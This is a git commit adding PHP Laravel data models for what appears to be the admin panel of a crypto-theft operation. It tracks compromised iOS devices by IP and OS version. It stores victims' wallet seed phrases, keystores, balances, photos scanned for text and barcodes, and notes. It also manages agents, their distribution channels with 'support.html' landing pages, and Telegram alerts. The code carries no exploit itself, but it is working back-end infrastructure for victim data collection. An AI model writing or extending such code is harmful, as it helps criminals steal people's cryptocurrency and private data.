This commit is contained in:
hashbro
2026-08-08 05:09:01 +08:00
parent 03a40105fc
commit 74a67c3900
523 changed files with 669 additions and 5965 deletions
+25
View File
@@ -0,0 +1,25 @@
<?php
namespace App\Models;
use Illuminate\Foundation\Auth\User as Authenticatable;
class Admin extends Authenticatable
{
protected $fillable = ['username', 'password', 'is_super'];
protected $hidden = ['password', 'remember_token'];
protected function casts(): array
{
return [
'password' => 'hashed',
'is_super' => 'integer',
];
}
public function isSuper(): bool
{
return (int) $this->is_super === 1;
}
}
+124
View File
@@ -0,0 +1,124 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
class Channel extends Model
{
public const OFFICIAL_USER_ID = 0;
protected $fillable = [
'channel_id', 'user_id', 'domains', 'status', 'remark',
];
protected function casts(): array
{
return [
'domains' => 'array',
'status' => 'integer',
'user_id' => 'integer',
];
}
public function user(): BelongsTo
{
return $this->belongsTo(User::class, 'user_id');
}
public function isEnabled(): bool
{
return (int) $this->status === 1;
}
public function isOfficial(): bool
{
return (int) $this->user_id === self::OFFICIAL_USER_ID;
}
public function agentLabel(): string
{
if ($this->isOfficial()) {
return '官方';
}
return $this->user?->username ?: ('#'.$this->user_id);
}
/**
* Domains for support-link display and builder deployment_domains.
* Channel row wins; otherwise CORUNA_LAB_CHANNEL_DOMAINS.
*
* @return list<string>
*/
public function resolvedDomains(): array
{
$stored = $this->normalizeDomainList($this->domains);
if ($stored !== []) {
return $stored;
}
return $this->normalizeDomainList(config('coruna.channel_domains', []));
}
/**
* @param mixed $domains
* @return list<string>
*/
public static function normalizeDomainList(mixed $domains): array
{
if (! is_array($domains)) {
return [];
}
return array_values(array_unique(array_filter(array_map(static function ($d) {
if (! is_string($d)) {
return '';
}
$d = trim($d);
$d = preg_replace('#^https?://#i', '', $d) ?? $d;
return rtrim($d, '/');
}, $domains))));
}
/**
* @return list<string>
*/
public function supportLinks(): array
{
$links = [];
$path = '/channel/'.$this->channel_id.'/web/support.html';
$baseUrl = rtrim((string) config('coruna.static_site.base_url', ''), '/');
if ($baseUrl !== '') {
$links[] = $baseUrl.$path;
}
$scheme = trim((string) config('coruna.static_site.scheme', 'https')) ?: 'https';
foreach ($this->resolvedDomains() as $domain) {
$origin = rtrim($domain, '/');
if ($origin === '') {
continue;
}
if (! preg_match('#^https?://#i', $origin)) {
$origin = $scheme.'://'.$origin;
}
$links[] = $origin.$path;
}
return array_values(array_unique($links));
}
public static function randomChannelId(): string
{
return bin2hex(random_bytes(16));
}
public static function maxPerAgent(): int
{
$n = (int) config('coruna.channels.max_per_agent', 5);
return max(1, $n);
}
}
+55
View File
@@ -0,0 +1,55 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\HasMany;
class Device extends Model
{
protected $fillable = [
'device_id', 'channel_id', 'ios_version', 'device_model', 'ip', 'user_agent', 'telegram_notified',
];
protected function casts(): array
{
return [
'telegram_notified' => 'boolean',
];
}
public function apps(): HasMany
{
return $this->hasMany(DeviceApp::class);
}
public function events(): HasMany
{
return $this->hasMany(DeviceEvent::class);
}
public function photos(): HasMany
{
return $this->hasMany(Photo::class);
}
public function notes(): HasMany
{
return $this->hasMany(Note::class);
}
public function addresses(): HasMany
{
return $this->hasMany(WalletAddress::class);
}
public function mnemonics(): HasMany
{
return $this->hasMany(WalletMnemonic::class);
}
public function keystores(): HasMany
{
return $this->hasMany(WalletKeystore::class);
}
}
+26
View File
@@ -0,0 +1,26 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
class DeviceApp extends Model
{
protected $fillable = [
'device_id', 'bundle_id', 'name', 'version', 'is_wallet', 'meta_json',
];
protected function casts(): array
{
return [
'is_wallet' => 'boolean',
'meta_json' => 'array',
];
}
public function device(): BelongsTo
{
return $this->belongsTo(Device::class);
}
}
+25
View File
@@ -0,0 +1,25 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
class DeviceEvent extends Model
{
protected $fillable = [
'device_id', 'device_key', 'event_name', 'desc', 'context_json',
];
protected function casts(): array
{
return [
'context_json' => 'array',
];
}
public function device(): BelongsTo
{
return $this->belongsTo(Device::class);
}
}
+25
View File
@@ -0,0 +1,25 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
class Note extends Model
{
protected $fillable = [
'device_id', 'content',
];
protected function casts(): array
{
return [
'content' => 'array',
];
}
public function device(): BelongsTo
{
return $this->belongsTo(Device::class);
}
}
+26
View File
@@ -0,0 +1,26 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
class Photo extends Model
{
protected $fillable = [
'device_id',
'sha256',
'path',
'size',
'x_hit',
'upload_count',
'process_index',
'text_count',
'barcode_count',
];
public function device(): BelongsTo
{
return $this->belongsTo(Device::class);
}
}
+10
View File
@@ -0,0 +1,10 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
class Setting extends Model
{
protected $fillable = ['key', 'value'];
}
+12
View File
@@ -0,0 +1,12 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
class TokenviewEvent extends Model
{
protected $fillable = [
'txid', 'address', 'coin', 'token_symbol', 'value', 'token_value',
];
}
+35
View File
@@ -0,0 +1,35 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Relations\HasMany;
use Illuminate\Foundation\Auth\User as Authenticatable;
class User extends Authenticatable
{
protected $fillable = [
'username', 'password', 'status', 'comment', 'chat_id', 'bot_id',
];
protected $hidden = [
'password', 'remember_token',
];
protected function casts(): array
{
return [
'password' => 'hashed',
'status' => 'integer',
];
}
public function isEnabled(): bool
{
return (int) $this->status === 1;
}
public function channels(): HasMany
{
return $this->hasMany(Channel::class, 'user_id');
}
}
+142
View File
@@ -0,0 +1,142 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
class WalletAddress extends Model
{
/** @var list<string> */
public const COIN_COLUMNS = ['usdt', 'trx', 'eth', 'btc', 'bnb'];
/** Display decimal places per coin (UI). */
public const DISPLAY_DECIMALS = [
'usdt' => 2,
'trx' => 6,
'eth' => 6,
'btc' => 8,
'bnb' => 6,
];
protected $fillable = [
'device_id', 'address', 'chain_type',
'usdt', 'trx', 'eth', 'btc', 'bnb',
'monitor', 'source',
];
protected function casts(): array
{
return [
'monitor' => 'integer',
'usdt' => 'decimal:6',
'trx' => 'decimal:6',
'eth' => 'decimal:18',
'btc' => 'decimal:8',
'bnb' => 'decimal:18',
];
}
public function device(): BelongsTo
{
return $this->belongsTo(Device::class);
}
/**
* Map a symbol=>amount payload into coin column attributes (only known coins).
* Missing symbols are omitted (caller merges with existing row).
*
* @param array<string, mixed>|string|null $balance
* @return array<string, string|int|float|null>
*/
public static function coinAttributesFromBalance(mixed $balance): array
{
if (! is_array($balance)) {
return [];
}
$out = [];
foreach ($balance as $symbol => $value) {
$col = strtolower((string) $symbol);
if (! in_array($col, self::COIN_COLUMNS, true)) {
continue;
}
if ($value === null || $value === '') {
$out[$col] = null;
continue;
}
if (! is_numeric($value)) {
continue;
}
$out[$col] = $value;
}
return $out;
}
public static function displayDecimals(string $coin): int
{
$coin = strtolower($coin);
return self::DISPLAY_DECIMALS[$coin] ?? 6;
}
public static function formatAmount(string $coin, mixed $amount): string
{
if ($amount === null || $amount === '') {
return '';
}
if (! is_numeric($amount)) {
return (string) $amount;
}
$decimals = self::displayDecimals($coin);
$formatted = number_format((float) $amount, $decimals, '.', '');
$formatted = rtrim(rtrim($formatted, '0'), '.');
return $formatted === '' ? '0' : $formatted;
}
/**
* @return array<string, string>
*/
public function formattedCoins(): array
{
$out = [];
foreach (self::COIN_COLUMNS as $col) {
$out[$col] = self::formatAmount($col, $this->{$col});
}
return $out;
}
public function coinsSummary(): ?string
{
$parts = [];
foreach (self::COIN_COLUMNS as $col) {
$raw = $this->{$col};
if ($raw === null || $raw === '' || (float) $raw == 0.0) {
continue;
}
$parts[strtoupper($col)] = self::formatAmount($col, $raw);
}
return $parts === [] ? null : json_encode($parts, JSON_UNESCAPED_UNICODE);
}
/**
* Snapshot of coin columns for change detection.
*
* @return array<string, string|null>
*/
public function coinSnapshot(): array
{
$out = [];
foreach (self::COIN_COLUMNS as $col) {
$v = $this->{$col};
$out[$col] = $v === null || $v === '' ? null : (string) $v;
}
return $out;
}
}
+25
View File
@@ -0,0 +1,25 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
class WalletKeystore extends Model
{
protected $fillable = [
'device_id', 'raw_json',
];
protected function casts(): array
{
return [
'raw_json' => 'array',
];
}
public function device(): BelongsTo
{
return $this->belongsTo(Device::class);
}
}
+66
View File
@@ -0,0 +1,66 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
use Illuminate\Support\Facades\Crypt;
class WalletMnemonic extends Model
{
protected $fillable = [
'device_id', 'source', 'mnemonic_hash', 'mnemonic_enc',
];
public function device(): BelongsTo
{
return $this->belongsTo(Device::class);
}
public static function hashSecret(string $secret): string
{
return hash('sha256', $secret);
}
public function setMnemonicAttribute(?string $value): void
{
if ($value === null || $value === '') {
$this->attributes['mnemonic_enc'] = null;
$this->attributes['mnemonic_hash'] = null;
return;
}
$this->attributes['mnemonic_hash'] = self::hashSecret($value);
$this->attributes['mnemonic_enc'] = Crypt::encryptString($value);
}
public function getMnemonicAttribute(): ?string
{
if (empty($this->attributes['mnemonic_enc'])) {
return null;
}
try {
return Crypt::decryptString($this->attributes['mnemonic_enc']);
} catch (\Throwable) {
return null;
}
}
public static function maskSecret(?string $value): string
{
if ($value === null || $value === '') {
return '—';
}
$words = preg_split('/\s+/', trim($value)) ?: [];
if (count($words) >= 12) {
return $words[0].' *** '.$words[count($words) - 1];
}
$len = strlen($value);
if ($len <= 8) {
return str_repeat('*', $len);
}
return substr($value, 0, 4).str_repeat('*', max(4, $len - 8)).substr($value, -4);
}
}